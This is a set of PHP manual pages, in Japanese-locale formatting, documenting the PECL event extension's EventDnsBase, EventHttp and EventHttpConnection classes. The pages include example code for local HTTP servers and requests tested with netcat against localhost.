Tells to read the domain and search fields from the resolv.conf file and the ndots option, and use them to decide which domains(if any) to search for hostnames that aren't fully-qualified.

EventDnsBase::OPTION_NAMESERVERS

Tells to learn the nameservers from the resolv.conf file.

EventDnsBase::OPTION_MISC

EventDnsBase::OPTION_HOSTSFILE

Tells to read a list of hosts from /etc/hosts as part of loading the resolv.conf file.

EventDnsBase::OPTIONS_ALL

Tells to learn as much as it can from the resolv.conf file.

目次

  • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
  • EventDnsBase::addSearch — Adds a domain to the list of search domains
  • EventDnsBase::clearSearch — Removes all current search suffixes
  • EventDnsBase::__construct — Constructs EventDnsBase object
  • EventDnsBase::countNameservers — Gets the number of configured nameservers
  • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
  • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
  • EventDnsBase::setOption — Set the value of a configuration option
  • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

User Contributed Notes

There are no user contributed notes for this page.


Adds a nameserver to the DNS base

  • ≪ EventDnsBase
  • EventDnsBase::addSearch ≫
  • PHP Manual
  • EventDnsBase
  • Adds a nameserver to the DNS base

EventDnsBase::addNameserverIp

(PECL event >= 1.2.6-beta)

EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base

説明

public EventDnsBase::addNameserverIp ( string $ip ) : bool

Adds a nameserver to the evdns_base.

パラメータ

ip

The nameserver string, either as an IPv4 address, an IPv6 address, an IPv4 address with a port ( IPv4:Port ), or an IPv6 address with a port ( [IPv6]:Port ).

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Adds a domain to the list of search domains

  • ≪ EventDnsBase::addNameserverIp
  • EventDnsBase::clearSearch ≫
  • PHP Manual
  • EventDnsBase
  • Adds a domain to the list of search domains

EventDnsBase::addSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::addSearch — Adds a domain to the list of search domains

説明

public EventDnsBase::addSearch ( string $domain ) : void

Adds a domain to the list of search domains

パラメータ

domain

Search domain.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Removes all current search suffixes

  • ≪ EventDnsBase::addSearch
  • EventDnsBase::__construct ≫
  • PHP Manual
  • EventDnsBase
  • Removes all current search suffixes

EventDnsBase::clearSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::clearSearch — Removes all current search suffixes

説明

public EventDnsBase::clearSearch ( ) : void

Removes all current search suffixes from the DNS base; the EventDnsBase::addSearch() function adds a suffix.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • EventDnsBase::addSearch() - Adds a domain to the list of search domains

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventDnsBase object

  • ≪ EventDnsBase::clearSearch
  • EventDnsBase::countNameservers ≫
  • PHP Manual
  • EventDnsBase
  • Constructs EventDnsBase object

EventDnsBase::__construct

(PECL event >= 1.2.6-beta)

EventDnsBase::__construct — Constructs EventDnsBase object

説明

public EventDnsBase::__construct ( EventBase $base , bool $initialize )

Constructs EventDnsBase object.

パラメータ

base

Event base.

initialize

If the initialize argument is true, it tries to configure the DNS base sensibly given your operating system's default. Otherwise, it leaves the event DNS base empty, with no nameservers or options configured. In the latter case DNS base should be configured manually, e.g. with EventDnsBase::parseResolvConf() .

返り値

Returns EventDnsBase object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of configured nameservers

  • ≪ EventDnsBase::__construct
  • EventDnsBase::loadHosts ≫
  • PHP Manual
  • EventDnsBase
  • Gets the number of configured nameservers

EventDnsBase::countNameservers

(PECL event >= 1.2.6-beta)

EventDnsBase::countNameservers — Gets the number of configured nameservers

説明

public EventDnsBase::countNameservers ( ) : int

Gets the number of configured nameservers

パラメータ

この関数にはパラメータはありません。

返り値

Returns the number of configured nameservers(not necessarily the number of running nameservers). This is useful for double-checking whether our calls to the various nameserver configuration functions have been successful.

User Contributed Notes

There are no user contributed notes for this page.


Loads a hosts file (in the same format as /etc/hosts) from hosts file

  • ≪ EventDnsBase::countNameservers
  • EventDnsBase::parseResolvConf ≫
  • PHP Manual
  • EventDnsBase
  • Loads a hosts file (in the same format as /etc/hosts) from hosts file

EventDnsBase::loadHosts

(PECL event >= 1.2.6-beta)

EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file

説明

public EventDnsBase::loadHosts ( string $hosts ) : bool

Loads a hosts file (in the same format as /etc/hosts ) from hosts file.

パラメータ

hosts

Path to the hosts' file.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Scans the resolv.conf-formatted file

  • ≪ EventDnsBase::loadHosts
  • EventDnsBase::setOption ≫
  • PHP Manual
  • EventDnsBase
  • Scans the resolv.conf-formatted file

EventDnsBase::parseResolvConf

(PECL event >= 1.2.6-beta)

EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file

説明

public EventDnsBase::parseResolvConf ( int $flags , string $filename ) : bool

Scans the resolv.conf-formatted file stored in filename, and read in all the options from it that are listed in flags

パラメータ

flags

Determines what information is parsed from the resolv.conf file. See the man page for resolv.conf for the format of this file.

The following directives are not parsed from the file: sortlist, rotate, no-check-names, inet6, debug .

If this function encounters an error, the possible return values are:

  • 1 = failed to open file
  • 2 = failed to stat file
  • 3 = file too large
  • 4 = out of memory
  • 5 = short read from file
  • 6 = no nameservers listed in the file

filename

Path to resolv.conf file.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Set the value of a configuration option

  • ≪ EventDnsBase::parseResolvConf
  • EventDnsBase::setSearchNdots ≫
  • PHP Manual
  • EventDnsBase
  • Set the value of a configuration option

EventDnsBase::setOption

(PECL event >= 1.2.6-beta)

EventDnsBase::setOption — Set the value of a configuration option

説明

public EventDnsBase::setOption ( string $option , string $value ) : bool

Set the value of a configuration option.

パラメータ

option

The currently available configuration options are: "ndots" , "timeout" , "max-timeouts" , "max-inflight" , and "attempts" .

value

Option value.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Set the 'ndots' parameter for searches

  • ≪ EventDnsBase::setOption
  • EventHttp ≫
  • PHP Manual
  • EventDnsBase
  • Set the 'ndots' parameter for searches

EventDnsBase::setSearchNdots

(PECL event >= 1.2.6-beta)

EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

説明

public EventDnsBase::setSearchNdots ( int $ndots ) : bool

Set the 'ndots' parameter for searches. Sets the number of dots which, when found in a name, causes the first query to be without any search domain.

パラメータ

ndots

The number of dots.

返り値

Returns true on success. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The EventHttp class

(PECL event >= 1.4.0-beta)

はじめに

Represents HTTP server.

クラス概要

final EventHttp {
/* メソッド */
public accept ( mixed $socket ) : bool
public addServerAlias ( string $alias ) : bool
public bind ( string $address , int $port ) : void
public __construct ( EventBase $base , EventSslContext $ctx = null )
public removeServerAlias ( string $alias ) : bool
public setAllowedMethods ( int $methods ) : void
public setCallback ( string $path , string $cb , string $arg = ? ) : void
public setDefaultCallback ( string $cb , string $arg = ? ) : void
public setMaxBodySize ( int $value ) : void
public setMaxHeadersSize ( int $value ) : void
public setTimeout ( int $value ) : void
}

目次

  • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
  • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
  • EventHttp::bind — Binds an HTTP server on the specified address and port
  • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
  • EventHttp::removeServerAlias — Removes server alias
  • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
  • EventHttp::setCallback — Sets a callback for specified URI
  • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
  • EventHttp::setMaxBodySize — Sets maximum request body size
  • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
  • EventHttp::setTimeout — Sets the timeout for an HTTP request

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP server accept connections on the specified socket stream or resource

  • ≪ EventHttp
  • EventHttp::addServerAlias ≫
  • PHP Manual
  • EventHttp
  • Makes an HTTP server accept connections on the specified socket stream or resource

EventHttp::accept

(PECL event >= 1.2.6-beta)

EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource

説明

public EventHttp::accept ( mixed $socket ) : bool

Makes an HTTP server accept connections on the specified socket stream or resource. The socket should be ready to accept connections.

Can be called multiple times to accept connections on different sockets.

注意:

To bind a socket, listen , and accept connections on the socket in s single call use EventHttp::bind() . EventHttp::accept() is needed only if one already has a socket ready to accept connections.

パラメータ

socket

Socket resource, stream or numeric file descriptor representing a socket ready to accept connections.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttp::accept() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$addresses = array (
     8091 => "127.0.0.1",
     8092 => "127.0.0.2",
);
$i = 0;

$socket = array();

foreach ($addresses as $port => $ip) {
    echo $ip, " ", $port, PHP_EOL;
    $socket[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (!socket_bind($socket[$i], $ip, $port)) {
        exit("socket_bind failed\n");
    }
    socket_listen($socket[$i], 0);
    socket_set_nonblock($socket[$i]);

    if (!$http->accept($socket[$i])) {
        echo "Accept failed\n";
        exit(1);
    }

    ++$i;
}

$http->setCallback("/some-page", function() {
 echo "(some-page)\n";
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$http->setDefaultCallback(function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$signal = Event::signal($base, SIGINT, function () use ($base) {
    echo "Caught SIGINT. Stopping...\n";
    $base->stop();
});
$signal->add();

$base->dispatch();
echo "END\n";
// We didn't close sockets, since Libevent already sets
// CLOSE_ON_FREE and CLOSE_ON_EXEC flags on the file
// descriptor associated with the sockets.
?>

上の例の出力は、 たとえば以下のようになります。

Client:
$ nc 127.0.0.1 8091
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Server:
127.0.0.1 8091
127.0.0.2 8092
URI: /about
OK

参考

  • EventHttp::bind() - Binds an HTTP server on the specified address and port

User Contributed Notes

There are no user contributed notes for this page.


Adds a server alias to the HTTP server object

  • ≪ EventHttp::accept
  • EventHttp::bind ≫
  • PHP Manual
  • EventHttp
  • Adds a server alias to the HTTP server object

EventHttp::addServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::addServerAlias — Adds a server alias to the HTTP server object

説明

public EventHttp::addServerAlias ( string $alias ) : bool

Adds a server alias to the HTTP server object.

パラメータ

alias

The alias to add.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttp::addServerAlias() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};

if (!$http->addServerAlias("local.net")) {
    exit("Failed to add server alias\n");
}

$http->setCallback("/about", function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
});
$base->dispatch();
?>

参考

  • EventHttp::removeServerAlias() - Removes server alias

User Contributed Notes

There are no user contributed notes for this page.


Binds an HTTP server on the specified address and port

  • ≪ EventHttp::addServerAlias
  • EventHttp::__construct ≫
  • PHP Manual
  • EventHttp
  • Binds an HTTP server on the specified address and port

EventHttp::bind

(PECL event >= 1.2.6-beta)

EventHttp::bind — Binds an HTTP server on the specified address and port

説明

public EventHttp::bind ( string $address , int $port ) : void

Binds an HTTP server on the specified address and port.

Can be called multiple times to bind the same HTTP server to multiple different ports.

パラメータ

address

A string containing the IP address to listen(2) on.

port

The port number to listen on.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttp::bind() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};
if (!$http->bind("127.0.0.1", 8089)) {
    exit("bind(2) failed\n");
};

$http->setCallback("/about", function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
    echo "OK\n";
});

$base->dispatch();
?>

上の例の出力は、 たとえば以下のようになります。

Client:

$ nc 127.0.0.1 8088
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

$ nc 127.0.0.1 8089
GET /unknown HTTP/1.0
Connection: close

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Wed, 13 Mar 2013 04:14:41 GMT
Content-Length: 149
Connection: close

<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /unknown was not found on this server.</p></body></html>

Server:
URI: /about
OK

参考

  • EventHttp::accept() - Makes an HTTP server accept connections on the specified socket stream or resource

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttp object(the HTTP server)

  • ≪ EventHttp::bind
  • EventHttp::removeServerAlias ≫
  • PHP Manual
  • EventHttp
  • Constructs EventHttp object(the HTTP server)

EventHttp::__construct

(PECL event >= 1.2.6-beta)

EventHttp::__construct — Constructs EventHttp object(the HTTP server)

説明

public EventHttp::__construct ( EventBase $base , EventSslContext $ctx = null )

Constructs the HTTP server object.

パラメータ

base

Associated event base.

ctx

EventSslContext class object. Turns plain HTTP server into HTTPS server. It means that if ctx is configured correctly, then the underlying buffer events will be based on OpenSSL sockets. Thus, all traffic will pass through the SSL or TLS.

注意:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

返り値

Returns EventHttp object.

変更履歴

バージョン | 説明
PECL event 1.9.0 | OpenSSL support (ctx) added.

例

例1 Simple HTTP server

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * $ nc -t 127.0.0.1 8010
 * GET /dump HTTP/1.0
 * Content-Type: text/plain
 * Content-Encoding: UTF-8
 * Connection: close
 * (press Enter)
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 * (press Enter)
 *
 * $ nc -t 127.0.0.1 8010
 * GET /unknown HTTP/1.0
 * Connection: close
 *
 * It will output:
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:22
If you try to use the SSL context parameter and you receive an error that you're using 2 parameters instead of 1, then your libevent library is not recent enough to support all features.
When installing the event extension with PECL, the libevent library needs a certain version to support certain functions.
PECL does not show any errors or warnings but simple disables everything that your libevent version does not support.

For further details see my comment at
http://php.net/manual/en/event.examples.php
Anonymous 06-Mar-2015 11:47
This demo code has a memory leak


Removes server alias

  • ≪ EventHttp::__construct
  • EventHttp::setAllowedMethods ≫
  • PHP Manual
  • EventHttp
  • Removes server alias

EventHttp::removeServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::removeServerAlias — Removes server alias

説明

public EventHttp::removeServerAlias ( string $alias ) : bool

Removes server alias added with EventHttp::addServerAlias()

パラメータ

alias

The alias to remove.

返り値

Returns true on success. Otherwise false.

参考

  • EventHttp::addServerAlias() - Adds a server alias to the HTTP server object

User Contributed Notes

There are no user contributed notes for this page.


Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

  • ≪ EventHttp::removeServerAlias
  • EventHttp::setCallback ≫
  • PHP Manual
  • EventHttp
  • Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

EventHttp::setAllowedMethods

(PECL event >= 1.4.0-beta)

EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

説明

public EventHttp::setAllowedMethods ( int $methods ) : void

Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

If not supported they will generate a "405 Method not allowed" response.

By default this includes the following methods: GET , POST , HEAD , PUT , DELETE . See EventHttpRequest::CMD_* constants.

パラメータ

methods

A bit mask of EventHttpRequest::CMD_* constants .

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback for specified URI

  • ≪ EventHttp::setAllowedMethods
  • EventHttp::setDefaultCallback ≫
  • PHP Manual
  • EventHttp
  • Sets a callback for specified URI

EventHttp::setCallback

(PECL event >= 1.4.0-beta)

EventHttp::setCallback — Sets a callback for specified URI

説明

public EventHttp::setCallback ( string $path , string $cb , string $arg = ? ) : void

Sets a callback for specified URI.

パラメータ

path

The path for which to invoke the callback.

cb

The callback callable that gets invoked on requested path . It should match the following prototype:

callback ( EventHttpRequest $req = NULL , mixed $arg = NULL ) : void

req

EventHttpRequest object.

arg

Custom data.

arg

Custom data.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttp::setCallback() example

<?php
/*
 * Simple HTTP server.
 *
 * To test it:
 * 1) Run it on a port of your choice, e.g.:
 * $ php examples/http.php 8010
 * 2) In another terminal connect to some address on this port
 * and make GET or POST request(others are turned off here), e.g.:
 * $ nc -t 127.0.0.1 8010
 * POST /about HTTP/1.0
 * Content-Type: text/plain
 * Content-Length: 4
 * Connection: close
 * (press Enter)
 *
 * It will output
 * a=12
 * HTTP/1.0 200 OK
 * Content-Type: text/html; charset=ISO-8859-1
 * Connection: close
 *
 * 3) See what the server outputs on the previous terminal window.
 */

function _http_dump($req, $data) {
    static $counter      = 0;
    static $max_requests = 2;

    if (++$counter >= $max_requests)  {
        echo "Counter reached max requests $max_requests. Exiting\n";
        exit();
    }

    echo __METHOD__, " called\n";
    echo "request:"; var_dump($req);
    echo "data:"; var_dump($data);

    echo "\n===== DUMP =====\n";
    echo "Command:", $req->getCommand(), PHP_EOL;
    echo "URI:", $req->getUri(), PHP_EOL;
    echo "Input headers:"; var_dump($req->getInputHeaders());
    echo "Output headers:"; var_dump($req->getOutputHeaders());

    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";

    echo "\n >> Reading input buffer ...\n";
    $buf = $req->getInputBuffer();
    while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
        echo $s, PHP_EOL;
    }
    echo "No more data in the buffer\n";
}

function _http_about($req) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

function _http_default($req, $data) {
    echo __METHOD__, PHP_EOL;
    echo "URI: ", $req->getUri(), PHP_EOL;
    echo "\n >> Sending reply ...";
    $req->sendReply(200, "OK");
    echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

参考

  • EventHttp::setDefaultCallback() - Sets default callback to handle requests that are not caught by specific callbacks

User Contributed Notes

There are no user contributed notes for this page.


Sets default callback to handle requests that are not caught by specific callbacks

  • ≪ EventHttp::setCallback
  • EventHttp::setMaxBodySize ≫
  • PHP Manual
  • EventHttp
  • Sets default callback to handle requests that are not caught by specific callbacks

EventHttp::setDefaultCallback

(PECL event >= 1.4.0-beta)

EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks

説明

public EventHttp::setDefaultCallback ( string $cb , string $arg = ? ) : void

Sets default callback to handle requests that are not caught by specific callbacks

パラメータ

cb

The callback callable . It should match the following prototype:

callback ( EventHttpRequest $req = NULL , mixed $arg = NULL ) : void

req

EventHttpRequest object.

arg

Custom data.

arg

User custom data passed to the callback.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttp::setDefaultCallback() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
    exit("bind(1) failed\n");
};

$http->setDefaultCallback(function($req) {
    echo "URI: ", $req->getUri(), PHP_EOL;
    $req->sendReply(200, "OK");
});

$base->dispatch();
?>

参考

  • EventHttp::setCallback() - Sets a callback for specified URI

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum request body size

  • ≪ EventHttp::setDefaultCallback
  • EventHttp::setMaxHeadersSize ≫
  • PHP Manual
  • EventHttp
  • Sets maximum request body size

EventHttp::setMaxBodySize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxBodySize — Sets maximum request body size

説明

public EventHttp::setMaxBodySize ( int $value ) : void

Sets maximum request body size.

パラメータ

value

The body size in bytes.

返り値

値を返しません。

参考

  • EventHttp::setMaxHeadersSize() - Sets maximum HTTP header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum HTTP header size

  • ≪ EventHttp::setMaxBodySize
  • EventHttp::setTimeout ≫
  • PHP Manual
  • EventHttp
  • Sets maximum HTTP header size

EventHttp::setMaxHeadersSize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxHeadersSize — Sets maximum HTTP header size

説明

public EventHttp::setMaxHeadersSize ( int $value ) : void

Sets maximum HTTP header size.

パラメータ

value

The header size in bytes.

返り値

値を返しません。

参考

  • EventHttp::setMaxHeadersSize()

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for an HTTP request

  • ≪ EventHttp::setMaxHeadersSize
  • EventHttpConnection ≫
  • PHP Manual
  • EventHttp
  • Sets the timeout for an HTTP request

EventHttp::setTimeout

(PECL event >= 1.4.0-beta)

EventHttp::setTimeout — Sets the timeout for an HTTP request

説明

public EventHttp::setTimeout ( int $value ) : void

Sets the timeout for an HTTP request.

パラメータ

value

The timeout in seconds.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpConnection class

(PECL event >= 1.4.0-beta)

はじめに

Represents an HTTP connection.

クラス概要

EventHttpConnection {
/* メソッド */
public __construct ( EventBase $base , EventDnsBase $dns_base , string $address , int $port , EventSslContext $ctx = null )
public getBase ( ) : EventBase
public getPeer ( string &$address , int &$port ) : void
public makeRequest ( EventHttpRequest $req , int $type , string $uri ) : bool
public setCloseCallback ( callable $callback , mixed $data = ? ) : void
public setLocalAddress ( string $address ) : void
public setLocalPort ( int $port ) : void
public setMaxBodySize ( string $max_size ) : void
public setMaxHeadersSize ( string $max_size ) : void
public setRetries ( int $retries ) : void
public setTimeout ( int $timeout ) : void
}

目次

  • EventHttpConnection::__construct — Constructs EventHttpConnection object
  • EventHttpConnection::getBase — Returns event base associated with the connection
  • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
  • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
  • EventHttpConnection::setCloseCallback — Set callback for connection close
  • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
  • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
  • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
  • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
  • EventHttpConnection::setRetries — Sets the retry limit for the connection
  • EventHttpConnection::setTimeout — Sets the timeout for the connection

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpConnection object

  • ≪ EventHttpConnection
  • EventHttpConnection::getBase ≫
  • PHP Manual
  • EventHttpConnection
  • Constructs EventHttpConnection object

EventHttpConnection::__construct

(PECL event >= 1.2.6-beta)

EventHttpConnection::__construct — Constructs EventHttpConnection object

説明

public EventHttpConnection::__construct ( EventBase $base , EventDnsBase $dns_base , string $address , int $port , EventSslContext $ctx = null )

Constructs EventHttpConnection object.

パラメータ

base

Associated event base.

dns_base

If dns_base is null, hostname resolution will block.

address

The address to connect to.

port

The port to connect to.

ctx

EventSslContext class object. Enables OpenSSL.

注意:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

返り値

Returns EventHttpConnection object.

変更履歴

バージョン | 説明
PECL event 1.9.0 | OpenSSL support (ctx) added.

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the connection

  • ≪ EventHttpConnection::__construct
  • EventHttpConnection::getPeer ≫
  • PHP Manual
  • EventHttpConnection
  • Returns event base associated with the connection

EventHttpConnection::getBase

(PECL event >= 1.2.6-beta)

EventHttpConnection::getBase — Returns event base associated with the connection

説明

public EventHttpConnection::getBase ( ) : EventBase

Returns event base associated with the connection.

パラメータ

この関数にはパラメータはありません。

返り値

On success returns EventBase object associated with the connection. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Gets the remote address and port associated with the connection

  • ≪ EventHttpConnection::getBase
  • EventHttpConnection::makeRequest ≫
  • PHP Manual
  • EventHttpConnection
  • Gets the remote address and port associated with the connection

EventHttpConnection::getPeer

(PECL event >= 1.2.6-beta)

EventHttpConnection::getPeer — Gets the remote address and port associated with the connection

説明

public EventHttpConnection::getPeer ( string &$address , int &$port ) : void

Gets the remote address and port associated with the connection

パラメータ

address

Address of the peer.

port

Port of the peer.

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP request over the specified connection

  • ≪ EventHttpConnection::getPeer
  • EventHttpConnection::setCloseCallback ≫
  • PHP Manual
  • EventHttpConnection
  • Makes an HTTP request over the specified connection

EventHttpConnection::makeRequest

(PECL event >= 1.4.0-beta)

EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection

説明

public EventHttpConnection::makeRequest ( EventHttpRequest $req , int $type , string $uri ) : bool

Makes an HTTP request over the specified connection. type is one of EventHttpRequest::CMD_* constants.

パラメータ

req

The connection object over which to send the request.

type

One of EventHttpRequest::CMD_* constants .

uri

The URI associated with the request.

返り値

Returns true on success. Otherwise false.

例

例1 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

上の例の出力は、 たとえば以下のようになります。

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

参考

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Set callback for connection close

  • ≪ EventHttpConnection::makeRequest
  • EventHttpConnection::setLocalAddress ≫
  • PHP Manual
